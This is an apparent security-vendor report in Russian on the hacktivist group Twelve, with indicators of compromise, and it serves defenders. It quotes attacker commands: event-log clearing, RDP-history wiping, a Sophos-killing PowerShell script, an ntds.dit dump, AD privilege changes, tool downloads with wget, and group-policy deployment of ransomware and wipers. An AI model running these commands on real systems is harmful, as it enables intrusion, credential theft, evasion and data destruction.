Весной 2024 года в Telegram-канале группировки -=TWELVE=- начали появляться публикации, содержащие персональные данные реальных людей. Вскоре канал был заблокирован за нарушение правил мессенджера. Несколько месяцев о группировке ничего не было слышно, но в ходе исследования атаки, произошедшей в конце июня 2024 года, мы обнаружили техники, полностью идентичные атакам Twelve, а также использование связанных с ней С2-серверов. Поэтому мы уверены, что группировка до сих пор остается активной и, вероятно, скоро вновь заявит о себе в публичном пространстве. В этой статье мы проанализируем действия злоумышленников по методологии Unified Kill Chain.
О группе Twelve
Группировка образовалась на фоне российско-украинского конфликта в апреле 2023 года и с тех пор атакует российские госкомпании.
Злоумышленники специализируются на шифровании и последующем удалении данных жертв, что серьезно затрудняет восстановление информационной среды. Это позволяет сделать вывод, что их основная цель — нанести организации как можно больший ущерб. В своих атаках группа стремится добраться до критически важных ресурсов, однако ей это не всегда удается. Помимо этого, Twelve активно выкачивает конфиденциальную информацию из систем жертв и публикует ее в своем Telegram-канале.
Интересно, что Twelve использует общую инфраструктуру, утилиты и техники (TTP) с вымогательской группой DARKSTAR (ранее называвшейся Shadow и COMET), что свидетельствует об их принадлежности к одному синдикату или кластеру деятельности. При этом, если действия Twelve носят явно хактивистский характер, то DARKSTAR придерживается классической схемы двойного вымогательства. Такое разделение интересов внутри синдиката подчеркивает сложность и разнообразие современных киберугроз.
Unified Kill Chain: In
Фаза «Вход» в контексте Unified Kill Chain относится к начальным этапам кибератаки, направленным на получение доступа к внутренней сети целевой организации. Эти этапы включают в себя ряд тактических действий: от внешней разведки до взятия под контроль систем внутри защищаемой сети.
Reconnaissance
Хотя точные методы разведки, которыми пользуются злоумышленники, не известны наверняка, мы предполагаем, что они сканируют диапазоны IP-адресов по всей России на основе геотегов и пытаются идентифицировать VPN-серверы и приложения, доступные из Интернета, способные стать точками входа в инфраструктуру целевой организации или ее подрядчика.
Resource Development
В ходе анализа кибератак мы выявили, что злоумышленники полагаются исключительно на известные и доступные инструменты. Вот список инструментов, часто используемых этой группой: ngrok, Cobalt Strike, mimikatz, chisel, BloodHound, PowerView, adPEAS, CrackMapExec, Advanced IP Scanner, PsExec.
Initial access и Delivery
В большинстве известных нам атак злоумышленники получали первоначальный доступ к инфраструктуре жертв, используя действительные локальные или доменные учетные записи, VPN- или SSH-сертификаты. Получив доступ к инфраструктуре жертвы, атакующие использовали протокол удаленного рабочего стола (RDP) для горизонтального перемещения.
Чаще всего злоумышленники проникали в инфраструктуру цели через подрядчиков. Для этого они получали доступ к инфраструктуре подрядчика, а затем использовали его сертификат для подключения к VPN клиента. Имея доступ к VPN, злоумышленник может подключиться к системам клиента через протокол удаленного рабочего стола (RDP), а затем переместиться в его инфраструктуру.
Exploitation
Веб-шеллы
В ходе анализа веб-серверов, скомпрометированных злоумышленниками, мы обнаружили большое количество веб-шеллов. Пути, по которым они находились, выглядели следующим образом:
1 2 3 |
/home/bitrix/ext_www/[REDACTED]/assets/images/ /home/bitrix/ext_www/[REDACTED]/bitrix/templates/.default/ajax/images/ /home/bitrix/ext_www/[REDACTED]/bitrix/admin/ |
Все веб-шеллы были написаны на PHP и носили случайные имена:
1 |
F6d098f417.php, 3425b29f4e.php, ecb2979be7.php, 04116e895b.php, 7784ba76e2.php, a4daa72a70.php, 5146d22914.php, 001d7a.php, 8759c7.php, 48a08b.php, 6f99ac.php, 82f5f4.php, 0dd37d.php, 6bceb2.php, d0af43.php |
Их задачи могли различаться: одни позволяли выполнять произвольные команды, другие — перемещать файлы, третьи — создавать и отправлять электронные письма. Ниже приведены два примера однострочных веб-шеллов, которые позволяют перемещать файлы.
Стоит отметить, что большинство веб-шеллов, использованных злоумышленниками, — это общедоступные инструменты, которые можно найти в открытых источниках, например:
- https://github[.]com/stefanpejcic/wordpress-malware;
- https://github[.]com/tennc/webshell/blob/master/php/wso/wso2.php.
Разберем работу веб-шеллов подробнее на примере скрипта для отправки электронных писем (ремейлера).
Этот PHP-скрипт злоумышленники использовали для отправки электронных писем. В первую очередь он проверяет наличие таких необходимых данных, как адрес получателя, тема и тело сообщения в теле POST-запроса. Если что-либо из ключевых данных отсутствует, скрипт сообщает об ошибке и завершает работу. После успешной проверки и подготовки компонентов электронной почты он использует функцию PHP mail() для отправки электронного письма.
Бэкдор FaceFish
Также в одном из инцидентов мы обнаружили бэкдор FaceFish, который был загружен с помощью веб-шелла, установленного на сервер VMware vCenter в результате эксплуатации уязвимостей CVE-2021-21972 и CVE-2021-22005 в платформе виртуализации vSphere. Первая уязвимость содержится в клиентской части платформы и позволяет удаленно выполнять код, а вторая представляет собой уязвимость загрузки произвольного файла в серверной части.
Как и большинство веб-шеллов, которые использовала группа, этот веб-шелл есть в открытом доступе:
1 |
https://github[.]com/NS-Sp4ce/CVE-2021-21972/tree/main/payload/Linux |
В зараженной системе он находился по следующему пути:
1 |
/usr/lib/vmware-vsphere-ui/server/static/resources/libs/shell.jsp |
Бэкдор FaceFish после запуска сохраняет в системе библиотеку (shared library) libs.so, внедряет ее в процесс sshd с помощью метода ld.so.preload и перезапускает сервис SSH.
Persistence
Чтобы закрепиться в инфраструктуре домена, злоумышленники использовали PowerShell для добавления доменных пользователей и групп, а также для изменения списков ACL (Access Control List) для объектов Active Directory. Ниже приведен список команд, которые они выполняли в PowerShell:
1 2 3 4 5 6 7 |
Add-DomainGroupMember -Identity [REDACTED] -Members 'EXCHANGE WINDOWS PERMISSIONS' Add-DomainGroupMember -Identity [REDACTED] -Members 'Organization Management' Add-DomainGroupMember -Identity [REDACTED] -Members "EXCHANGE WINDOWS PERMISSIONS" Add-DomainObjectAcl -Rights 'All' -TargetIdentity "users" -PrincipalIdentity "engineers" Add-DomainObjectAcl -Rights 'All' -TargetIdentity "dc1" -PrincipalIdentity "users" Add-DomainObjectAcl -Rights 'All' -TargetIdentity "dc1" -PrincipalIdentity "userasdasdasds" Set-DomainObject -Credential $Cred -Identity [REDACTED]-SET @{serviceprincipalname='nonexistent/BLAHBLAH'} |
Злоумышленники также добавляли доменные учетные записи и группы пользователей с помощью системной утилиты net.exe:
1 2 3 4 5 6 7 8 |
net user [REDACTED] engineers /domain /add net group [REDACTED] engineers /domain /add net group engineers [REDACTED] /domain /add net group engineers 'EXCHANGE WINDOWS PERMISSIONS' /add /domain net group 'engineers' 'EXCHANGE WINDOWS PERMISSIONS' /add /domain net group engineers /domain net group users /domain net group "Администраторы Домена" [REDACTED] /add /domain |
Помимо этого, они пытались распространять и запускать вредоносное ПО через планировщик задач и изменяли групповые политики так, чтобы вредоносные задачи сохранились для всего домена.
Defense Evasion
Чтобы избежать обнаружения, атакующие маскировали свои вредоносные программы и задачи под названия существующих продуктов или сервисов:
1 2 3 4 5 |
C:\Windows\System32\Tasks\run C:\Windows\System32\Tasks\Update Microsoft C:\Windows\System32\Tasks\Yandex C:\Windows\System32\Tasks\YandexUpdate C:\Windows\SYSVOL_DFSR\domain\scripts\intel.exe |
Также злоумышленники применяли набор техник для сокрытия следов своей деятельности. В частности, они очищали журналы событий с помощью системной утилиты wevtutil.exe в различных вариациях командной оболочки.
1 |
powershell -command wevtutil el | Foreach-Object {Write-Host Clearing $_; wevtutil cl $_} |
1 |
C:\Windows\system32\cmd.EXE" /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1 |
Кроме того, атакующие удаляли следы использования RDP с помощью скрипта, очищающего историю подключений RDP, а также последние документы и список выполнения.
1 2 3 4 5 6 7 8 |
@echo off reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" attrib -s -h %userprofile%\documents\Default.rdp del %userprofile%\documents\Default.rdp del /f /s /q /a %AppData%\Microsoft\Windows\Recent\AutomaticDestinations reg delete "HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/RunMRU" /va /f |
Command and Control
В одной из атак группы мы обнаружили использование фреймворка Cobalt Strike, с помощью которого злоумышленники связывались с C2 и распространяли вредоносные полезные нагрузки. Инструмент был обнаружен по следующему пути:
1 |
\users\{username}\pictures\photos_delo\loop.exe |
Злоумышленники также использовали системные утилиты curl и wget для доставки различных инструментов на скомпрометированные хосты:
1 2 |
wget https://github[.]com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 curl https://github[.]com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 |
Unified Kill Chain: Through
Фаза «Через» в контексте Unified Cyber Kill Chain относится к действиям злоумышленника в уже скомпрометированной сети цели для получения доступа к дополнительным системам и данным, которые необходимы для достижения конечных целей атаки. Этот этап включает в себя ряд действий, направленных на распространение по сети и получение доступа к критически важным ресурсам.
Pivoting
Злоумышленники использовали утилиту ngrok для туннелирования трафика. Они устанавливали ее сразу после подключения к системе и прописывали в файле конфигурации порт 3389 (стандартный порт RDP). После этого все нелегитимные подключения к системе по RDP происходили через эту утилиту. Злоумышленники прикрепляли ngrok к службе под названием svchost при помощи следующей команды:
1 2 |
C:\ProgramData\svchost\svchost.exe service run --config C:\ProgramData\svchost\svchost.yml |
Каталог C:\ProgramData\svchost\ создан злоумышленниками. Файл svchost.exe — это собственно утилита ngrok, а svchost.yml служит ее файлом конфигурации. Помимо номера порта в нем указан токен авторизации, который выглядит следующим образом: 2YXVHSiK9hhc4aKCbH4i6BLh21J_6zwxt**********. У разных образцов токены разные.
На то, что соединения злоумышленников были инициированы через ngrok, указывает значение «::::%16777216» в поле «Адрес исходной сети» журнала событий RDP.
Discovery
В контексте разведки внутренней сети и доменной инфраструктуры, а также исследования отношений между доменами злоумышленники использовали такие инструменты, как Advanced IP Scanner, BloodHound и adPEAS. Advanced IP Scanner позволяет быстро идентифицировать все устройства в сети. BloodHound используется для анализа и визуализации того, каким пользователям и системам домен доверяет, а также определения путей наименьшего сопротивления для повышения привилегий. adPEAS применяется для атак на Active Directory, выявления недостатков в конфигурации и путей повышения привилегий в домене. В совокупности эти инструменты позволяют злоумышленникам эффективно исследовать и эксплуатировать внутренние сети жертв.
Помимо этого, группа использовала командлеты модуля PowerView для обнаружения учетных записей пользователей домена:
1 2 3 4 5 |
Get-DomainObject users Get-ADUsers users Get-ADUser users Get-ADUser -Filter * -SearchBase "[REDACTED OU]" Get-ADUser -Filter * -SearchBase "[REDACTED OU]" | findstr Name |
Информацию о группах домена группа получала при помощи PowerShell.
1 2 3 4 5 6 |
Get-ADGroup Get-ADGroup "EXCHANGE WINDOWS PERMISSIONS" Get-ADGroupMember "EXCHANGE WINDOWS PERMISSIONS" Get-ADGroupMember "engineers" Get-DomainGroupMember engineers Get-DomainGroupMember skzi |
Privilege Escalation
Для повышения привилегий злоумышленники в основном использовали легитимные учетные данные пользователей, имеющих административный доступ.
Помимо этого, они изменяли атрибуты новых учетных записей, которые создавали для достижения своих целей, при помощи модуля PowerView:
1 |
Add-DomainObjectAcl -Rights 'All' |
Параметр -Rights ‘All’ предоставляет учетной записи полный доступ к указанному объекту. Он может включать права на чтение, запись, создание, удаление и выполнение различных операций с объектом.
Execution
Скрипты и команды
Злоумышленники использовали системные интерпретаторы и общедоступные инструменты, а также самописные скрипты .bat и PowerShell для выполнения различных действий в системе.
Примеры найденных скриптов атакующих:
1 2 3 4 5 6 7 8 9 |
gpo.ps1 Sophos_kill_local.ps1 Logon.bat CleanRDPHistory.bat c:\intel\GPO.bat \\netlogon\logon.bat c:\intel\test.ps1 \\netlogon\u.bat \SYSVOL\domain\scripts\outlookconf2003.ps1 |
Список выполненных злоумышленниками команд в журнале PowerShell указывает, что они имели активные сессии PowerShell на атакованных хостах, а также позволяет оценить технический уровень оператора.
Ниже приведен список команд, которые злоумышленники выполняли в попытке импортировать модуль PowerView.
1 2 3 4 5 6 7 |
impot .\PowerView.ps1 import .\PowerView.ps1 Import-Module .\PowerView.ps1 cd C:\Users\Public\Documents Import-Module .\PowerView.ps1 Set-ExecutionPolicy bypass Import-Module .\PowerView.ps1 |
Sophos_kill_local.ps1
Один из обнаруженных скриптов пытается завершить процессы Sophos на компьютере и записывает результаты в локальные и удаленные файлы журналов.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
$LogTime = Get-Date -Format "MM-dd-yyyy_hh-mm-ss" $path = "C:\Program Files (x86)\Sophos\Logs\" $pcname = $env:computername $Processes = Get-WmiObject -Class Win32_Process -ComputerName $env:computername -Filter "ExecutablePath LIKE '%Sophos%'" foreach ($process in $processes) { $ProcessName = $process.name $returnval = $process.terminate() $processid = $process.handle if($returnval.returnvalue -eq 0) { $LogFile1 = 'C:\Program Files (x86)\Sophos\Logs\'+$LogTime+"_Success-Terminated"+".txt" $LogFile11 = '\\[redacted]\NETLOGON\Sophos\Logs\'+$pcname+"_"+$LogTime+"_Success-Terminated"+".txt" "The process $ProcessName ($processid) has been terminated successfully." | Out-File $LogFile1 -Append -Force "The process $ProcessName ($processid) has been terminated successfully." | Out-File $LogFile11 -Append -Force } else { $LogFile2 = 'C:\Program Files (x86)\Sophos\Logs\'+$LogTime+"_Sophos Not-Terminated"+".txt" $LogFile22 = '\\[redacted]\NETLOGON\Sophos\Logs\'+$pcname+"_"+$LogTime+"_Sophos Not-Terminated"+".txt" "The process $ProcessName ($processid) has not been terminated." | Out-File $LogFile2 -Append -Force "The process $ProcessName ($processid) has not been terminated." | Out-File $LogFile22 -Append -Force } } |
Использование планировщика задач
Злоумышленники выполняли все итоговые деструктивные действия, такие как запуск шифровальщиков и вайперов, с помощью задач планировщика, которые создавались путем изменения групповых политик. Это позволяло атакующим выполнять их на всех машинах в домене одновременно.
Имя задачи | Командная строка | Описание | ||
Dead1 |
|
Запуск шифровальщика через командную строку с передачей пароля в качестве аргумента | ||
Dead2 |
|
Запуск вайпера через командную строку из сетевой папки netlogon | ||
12lock |
|
Копирование файла вайпера с помощью PowerShell из сетевой папки netlogon на локальный хост по пути C:\ProgramData | ||
12lock 1 |
|
Запуск шифровальщика из сетевой папки netlogon через командную строку с передачей пароля в качестве аргумента | ||
Copywiper |
|
Копирование файла шифровальщика с помощью PowerShell из сетевой папки netlogon на локальный хост по пути C:\ProgramData | ||
run |
|
Запуск PowerShell-скрипта, который изменяет групповые политики | ||
YandexUpdate |
|
Запуск шифровальщика из сетевой папки netlogon с передачей пароля в качестве аргумента | ||
Update Microsoft |
|
Запуск вайпера |
Credential Access
Чтобы получить учетные данные пользователя, злоумышленники использовали mimikatz. Файл утилиты они сохраняли под именем calculator.exe, чтобы замаскировать ее настоящее назначение. При этом они поленились поменять стандартную иконку утилиты. С помощью mimikatz атакующие создавали дамп локальных учетных данных из памяти процесса lsass.exe.
Мы обнаружили на скомпрометированных хостах артефакты использования утилиты mimikatz как в виде исполняемого файла, так и в виде PowerShell-скрипта.
1 2 3 |
C:\Users\[User]\Desktop\x64\mimikatz.exe C:\Users\[User]\Desktop\CrackMapExecWin_v2.2\hosted\Invoke-Mimikatz.ps1 C:\[Redacted]\x64\mimidrv.sys |
Помимо дампа lsass.exe посредством mimikatz, для получения локальных учетных данных злоумышленники делали дампы веток реестра SYSTEM, SAM и SECURITY с помощью системной утилиты reg.exe и сохраняли их в папке Downloads для дальнейшего архивирования и эксфильтрации.
1 2 3 |
C:\Users\[USER]\Downloads\SYSTEM C:\Users\[USER]\Downloads\SAM C:\Users\[USER]\Downloads\SECURITY |
Злоумышленники также пытались получить доступ к учетным данным домена. Для этого они делали дамп ntds.dit с помощью системной утилиты ntdsutil.exe.
Команда, создающая дамп ntds.dit, выглядит следующим образом:
1 |
$system32\ntdsutil.exe",""$system32\ntdsutil.exe" "ac i ntds" ifm "create full c:\temp" q q |
После этого, чтобы получить дополнительные учетные данные из системы, атакующие использовали консольную версию утилиты All-In-One Password Recovery Pro от XenArmor, которая может извлечь большую часть учетных данных пользователя из кустов реестра.
Команда для сбора данных при помощи All-In-One Password Recovery Pro выглядит следующим образом:
1 |
c:\programdata\update\xenallpasswordpro.exe" -a "c:\programdata\update\report.html" |
На скриншоте ниже можно увидеть пример выполнения этой утилиты с параметрами, которые использовали атакующие, и перечень данных, которые она собирает при такой конфигурации.
Lateral Movement
Для перемещения внутри инфраструктуры жертвы злоумышленники использовали локальные и доменные учетные данные, полученные на предыдущих этапах атаки.
Чаще всего они подключались к новым устройствам в сети жертвы по протоколу удаленного рабочего стола (RDP) через исполняемый файл mstsc.exe. В некоторых случаях они также использовали PsExec для перемещения по сети с помощью протокола SMB и команду Enter-PSSession для установления интерактивного сеанса с удаленными компьютерами в сети, которая является частью возможностей PowerShell по управлению удаленными системами и выполнению в них команд с помощью PowerShell Remoting.
1 2 3 |
Enter-PSSession -ComputerName [COMPUTER 1] Enter-PSSession -ComputerName [COMPUTER 2] Enter-PSSession -ComputerName [COMPUTER 3] |
Команда Enter-PSSession создает временный интерактивный сеанс между локальной и удаленной системами, позволяя злоумышленникам выполнять команды PowerShell непосредственно на удаленных машинах, как если бы они выполнялись локально. Для связи обычно используется протокол WS-Management, работающий поверх HTTP или HTTPS.
Unified Kill Chain: Out
Фаза «Выход» в контексте Unified Kill Chain описывает заключительные действия злоумышленника после успешного проникновения в целевую сеть и получения доступа ко всем необходимым системам и данным. На этом этапе основное внимание уделяется достижению конечных целей атаки, которые могут включать кражу данных, саботаж или другие действия, ставящие под угрозу конфиденциальность, целостность и доступность (CIA) информационных активов жертвы.
Collection
Злоумышленники собирали много конфиденциальной информации о своих жертвах: финансовые документы, чертежи, корпоративную переписку и т. д. Собранные данные они архивировали с помощью утилиты 7z и пересылали через облачные службы обмена.
Также во время своих атак злоумышленники архивировали и эксфильтровали папку tdata с данными мессенджера Telegram.
1 |
C:\Users\[User]\AppData\Roaming\Telegram Desktop\tdata\tdata.7z |
В этой папке находятся кэшированные медиафайлы (изображения, видео, аудио), сообщения, стикеры и документы, которые пользователь отправлял или получал через Telegram. Эти данные можно использовать для быстрого доступа без необходимости повторной загрузки файлов с серверов. Также папка tdata содержит сеансовые файлы, которые позволяют приложению автоматически подключаться к учетной записи без повторного ввода имени пользователя и пароля.
Злоумышленник, получивший доступ к этой папке, может извлечь личные сообщения, медиафайлы и документы, что приведет к утечке личной или коммерческой конфиденциальной информации. Сеансовые файлы и ключи шифрования он может использовать для доступа к учетной записи Telegram без авторизации, а также для чтения переписки и отправки сообщений от имени жертвы.
Exfiltration
Архивы с интересующими их данными злоумышленники загружали на ресурс обмена данными https://dropmefiles.net/ через браузер. На использование этого сервиса указывает обнаруженный нами артефакт: во время исследования одной из атак в кеше браузера был сохранен заголовок страницы «Завантаження вдалося! — dropmefiles.net» (перевод: «Загрузка удалась! — dropmefiles.net«).
Impact
Шифровальщики
Злоумышленники шифровали данные с помощью версии популярного шифровальщика LockBit 3.0, скомпилированной из появившегося в открытом доступе исходного кода.
Мы обнаруживали файлы шифровальщика по следующим путям:
- \ProgramData\
- \\netlogon\
Следующие имена файлов фигурировали в известных нам инцидентах с шифровальщиком на базе LockBit 3.0:
- twelve.exe
- 1.exe
- 12.exe
- enc.exe
- betta.exe
- sed.exe
- svo.exe
Ниже представлен граф детонации для этого шифровальщика, построенный инструментом Kaspersky Cloud Sandbox. Он отображает процесс выполнения файла и возникающие в ходе этого процесса подозрительные события. Как можно видеть на графе, шифровальщик ведет себя довольно шумно и генерирует много событий, по которым можно обнаружить его активность.
Как мы уже упоминали в разделе Execution, шифровальщик распространяется в инфраструктуре жертвы с помощью групповых политик. Атакующие использовали PowerShell, чтобы переместить файл шифровальщика в сетевую папку netlogon, после чего запускали скрипт для изменения групповых политик.
1 |
powershell.exe -ex bypass -f C:\Users\Public\gpo.ps1 |
После обновления политик на всех компьютерах в домене создавались запланированные задачи, отвечающие за копирование и выполнение шифровальщика.
Сначала шифровальщик перемещался из сетевой папки netlogon в локальную директорию ProgramData при помощи задачи Copywiper.
1 |
powershell.exe Copy-Item `\\[DOMAIN]\netlogon\twelve.exe` -Destination `C:\ProgramData` |
После этого происходил запуск шифровальщика (из локальной или сетевой папки) с помощью командной строки с указанием уникального пароля в качестве аргумента -pass.
1 |
cmd.exe` /c c:\programdata\twelve.exe -pass ************ |
Алгоритм работы программы-вымогателя зависит от встроенного файла конфигурации. В таблице ниже представлена конфигурация анализируемого троянца (для всех найденных образцов она одинакова):
Параметр | Значение | Описание |
encrypt_mode | auto | Режим шифрования для больших файлов. Может принимать одно из двух значений: «авто» или «быстро» |
encrypt_filename | TRUE | Шифрование имени файла |
impersonation | FALSE | Использование учетных записей из приведенного в конфигурации списка для повышения привилегий |
skip_hidden_folders | FALSE | Пропуск скрытых каталогов |
language_check | FALSE | Проверка локализации системы |
local_disks | TRUE | Шифрование локальных дисков |
network_shares | TRUE | Шифрование сетевых каталогов |
kill_processes | TRUE | Завершение процессов |
kill_services | TRUE | Остановка служб |
running_one | TRUE | Проверка, что запущен только один процесс программы-вымогателя |
print_note | FALSE | Распечатка требования выкупа на принтерах |
set_wallpaper | FALSE | Смена обоев рабочего стола |
set_icons | FALSE | Изменение значков зашифрованных файлов |
send_report | FALSE | Отправка системной информации на сервер управления |
self_destruct | TRUE | Самоудаление после завершения работы |
kill_defender | TRUE | Остановка Windows Defender |
wipe_freespace | FALSE | Запись временного файла со случайными данными на все свободное место на диске |
psexec_netspread | FALSE | Распространение по сети при помощи сервиса PsExec |
gpo_netspread | FALSE | Распространение по сети через групповые политики |
gpo_ps_update | TRUE | Обновление групповых политик во всех доменах с помощью PowerShell |
shutdown_system | FALSE | Перезагрузка системы |
delete_eventlogs | TRUE | Очистка системных журналов |
delete_gpo_delay | 0 | Отложенное удаление групповой политики. Значение этого параметра описывает, на какое время откладывается удаление |
В файле конфигурации также указан список каталогов, в которых файлы не шифруются.
$recycle.bin | boot | Tor browser |
config.msi | program files | windows.old |
$windows.~bt | program files (x86) | intel |
$windows.~ws | programdata | msocache |
windows | system volume information | perflogs |
x64dbg | public | all users |
default | Microsoft |
Кроме того, в нем содержится список конкретных файлов, не подлежащих шифрованию.
autorun.in | boot.ini | bootfont.bin |
bootsect.bak | desktop.ini | iconcache.db |
ntldr | ntuser.dat | ntuser.dat.log |
ntuser.ini | thumbs.db | |
d3d9caps.dat | GDIPFONTCACHEV1.DAT |
Наконец, программа-вымогатель не шифрует файлы со следующими расширениями:
386 | adv | ani | bat | bin |
cab | cmd | com | cpl | cur |
deskthemepack | diagcab | diagcfg | diagpkg | dll |
drv | exe | hlp | icl | icns |
ico | ics | idx | lnk | mod |
mpa | msc | msp | msstyles | msu |
nls | nomedia | ocx | prf | ps1 |
rom | rtp | scr | shs | spl |
sys | theme | themepack | wpx | lock |
key | hta | msi | pdb | search-ms |
Перед началом работы шифровальщик завершает процессы, которые могут мешать шифрованию отдельных файлов. Ниже представлен список имен процессов, которые подлежат завершению.
sql | oracle | ocssd | dbsnmp | synctime |
agntsvc | isqlplussvc | xfssvccon | mydesktopservice | ocautoupds |
encsvc | firefox | tbirdconfig | mydesktopqos | ocomm |
dbeng50 | sqbcoreservice | excel | infopath | msaccess |
mspub | onenote | outlook | powerpnt | steam |
thebat | thunderbird | visio | winword | wordpad |
notepad | calc | wuauclt | onedrive |
Также шифровальщик завершает следующие службы:
vss | sql | svc$ | memtas | mepocs |
msexchange | veeam | backup | GxVss | GxBlr |
GxFWD | GxCVD | kavfs | AVP | avpsus |
Интересно, что в конфигурации, отвечающей за создание записки о выкупе, отсутствуют какие-либо реквизиты или способы связи со злоумышленниками. Итоговая записка состоит из одного логотипа группировки.
Также мы обнаружили, что в некоторых случаях злоумышленники использовали для шифрования файлов троянца, созданного с помощью слитого билдера шифровальщика Chaos. Образцы этого шифровальщика были обнаружены по следующим путям:
1 2 3 4 |
c:\netlogon\enc.exe c:\Users\User\enc.exe c:\Windows\System32\config\systemprofile\appdata\roaming\twelve.exe c:\Windows\sysvol\domain\scripts\enc.exe |
Как можно видеть на скриншоте ниже, Kaspersky Threat Attribution Engine определяет шестидесятипроцентное сходство одного из этих образцов с шифровальщиком Chaos.
На момент обнаружения образцов не было ясно, кто стоит за инцидентами, в которых они задействовались. Однако статический анализ показал, что в коде содержатся характерные строки, указывающие на связь образцов с группой Twelve.
Вайперы
Помимо шифровальщиков, злоумышленники использовали вайперы для уничтожения инфраструктуры жертв. Как правило, вайперы запускались после шифрования файлов.
Найденный нами файл вайпера скомпилирован из исходного кода, находящегося в открытом доступе. В процессе своей работы он перезаписывает загрузочную область (MBR) на подключенных дисках так, что при следующем включении устройства на экране появляется строка From Iran with love. — Shamoon, а операционная система не загружается.
Затем файл рекурсивно проходит по всем каталогам (кроме папок Windows и «Информация о системном томе») на всех подключенных дисках и для каждого файла:
- перезаписывает содержимое файла случайно сгенерированными байтами;
- перезаписывает метаданные файла: сбрасывает размер, устанавливает
случайные даты создания/изменения/доступа;
- присваивает файлу случайное имя и удаляет его.
По окончании своей работы вредоносный файл удаляет себя и завершает работу системы.
В процессе динамического и статического анализа мы пришли к выводу, что найденная версия вайпера ничем не отличается от версии, находящейся в открытом доступе.
Также при исследовании атак группировки Twelve мы обнаружили еще одну версию вайпера. Образец ничем не отличается от вайпера Shamoon, кроме ряда специфически переименованных функций.
При исследовании атак группировки мы видели файлы вайперов по следующим путям:
- \Desktop\
- \ProgramData\
- \\netlogon\
Следующие имена файлов фигурировали в известных нам инцидентах с указанным вайпером:
- intel.exe
- mail.exe
- wiper.exe
Схема распространения вайперов в инфраструктуре жертвы почти не отличается от распространения шифровальщиков. С помощью PowerShell злоумышленники копируют файл вайпера в сетевую папку netlogon, после чего запускают скрипт, который изменяет групповые политики и создает запланированные задачи.
1 |
powershell -ex bypass -f \\[DOMAIN]\netlogon\outlookconf2003.ps1 |
Затем происходит копирование файла вайпера из сетевой папки netlogon в локальную папку ProgramData на все уже зашифрованные компьютеры в домене.
1 |
powershell.exe` Copy-Item `\\[DOMAIN]\netlogon\intel.exe` -Destination `C:\ProgramData |
После этого стартует запланированная задача, запускающая файл вайпера, который уничтожает информацию на устройстве.
1 |
C:\ProgramData\intel.exe |
Objectives
Стратегические цели атакующих:
- Разрушение критически важных ресурсов и нарушение деятельности предприятий.
- Кража конфиденциальных данных жертв.
- Дискредитация жертв путем сообщения об их взломе в Telegram-канале злоумышленников.
Выводы
Основной мотив группы Twelve — не финансовая выгода, а хактивизм. Это проявляется в методах их работы: вместо того, чтобы требовать выкуп за расшифровку данных, Twelve предпочитает шифровать информацию жертв, а затем разрушать инфраструктуру с помощью вайпера, делая невозможным восстановление данных. Такой подход указывает на стремление нанести максимальный ущерб целевым организациям, не получая при этом прямой материальной выгоды.
Анализ также показал, что группа применяет исключительно общедоступный и хорошо знакомый арсенал различного вредоносного ПО, что означает отсутствие у злоумышленников собственных разработок в этой области. Как следствие, атаки Twelve можно своевременно обнаружить и предотвратить. Однако если этого не сделать, злоумышленники могут нанести значительный ущерб инфраструктуре организации.
Индикаторы компрометации
Web-Shells
05d80c987737e509ba8e6c086df95f7d
48b2e5c49f121d257b35ba599a6cd350
5dcd02bda663342b5ddea2187190c425
97aac7a2f0d2f4bdfcb0e8827a111524
dad076c784d9fcbc506c1e614aa27f1c
ecb14e506727ee67220e87ced2e6781a
f8da1f02aa64e844770e447709cdf679
Mimikatz
e930b05efe23891d19bc354a4209be3e
Scripts
7a7c0a521b7596318c7cd86582937d98
72830102884c5ebccf2afbd8d9a9ed5d
31014add3cb96eee557964784bcf8fde
7dfa50490afe4553fa6889bdafda7da2
Ngrok
43b3520d69dea9b0a27cce43c1608cad
Cobalt Strike
7bec3c59d412f6f394a290f95975e21f
Ransomware
9c74401a28bd71a87cdf5c17ad1dffa5 twelve.exe
d813f5d37ab2feed9d6a2b7d4d5b0461 12.exe
646a228c774409c285c256a8faa49bde enc.exe
5c46f361090620bfdcac6afce1150fae twelve.exe
9bd78bcf75b9011f9d7a9a6e5aee5bf6 twelve.exe
f90e95b9fcab4c1b08ca06bc2c2d6e40 12.exe
39b91f5dfbbec13a3ec7cce670cf69ad sed.exe/1.exe/Screen2.exe/SVO.exe/BETTA.EXE
Wiper
4bff90a6f7bafc8e719e8cab87ab1766 intel.exe/mail.exe
File paths
C:\ProgramData\sed.exe
C:\Users\{username}\Downloads\sed.exe
C:\Users\{username}\Desktop\sed.exe
C:\programdata\svchost\svchost.exe
C:\programdata\svchost\svchost.yml
C:\Users\{username}\AppData\Local\CEF\User Data\Dictionaries\svchost.exe
C:\Users\{username}\AppData\Local\CEF\User Data\Dictionaries\svchost.yml
C:\Users\{username}\Desktop\svchost.exe
C:\Users\{username}\Desktop\svchost.yml
C:\users\{username}\pictures\photos_delo\loop.exe
C:\users\{username}\downloads\chisel_1.9.1_windows_amd64\chisel.exe
C:\Users\{username}\Documents\PowerView.ps1
C:\Users\{username}\Documents\calculator.exe
C:\Windows\qbkLIdag.exe
C:\Windows\System32\Tasks\run
C:\Windows\System32\Tasks\Update Microsoft
C:\Windows\System32\Tasks\Yandex
C:\Windows\System32\Tasks\YandexUpdate
C:\Windows\SYSVOL\domain\scripts\intel.exe
C:\Windows\SYSVOL\domain\scripts\outlookconf2003.ps1
C:\Windows\SYSVOL\domain\scripts\ZZZZZZ
C:\Windows\SYSVOL_DFSR\domain\scripts\intel.exe
\\[DOMAIN]\netlogon\12.exe
\\[DOMAIN]\netlogon\outlookconf2003.ps1
\\[DOMAIN]\netlogon\intel.exe
C:\123\12.exe
C:\ProgramData\intel.exe
C:\Users\Public\46a2209036e6282c45f8dfd3f046033d.ps1
C:\Users\Public\gpo.ps1
C:\Windows\Logs\PsExec.exe
Domains and IPs
212.109[.]217.88
195.2[.]79.195
109.205[.]56.229
193.110[.]79.47
195.2[.]79.195
217.148[.]143.196
5.8[.]16.147
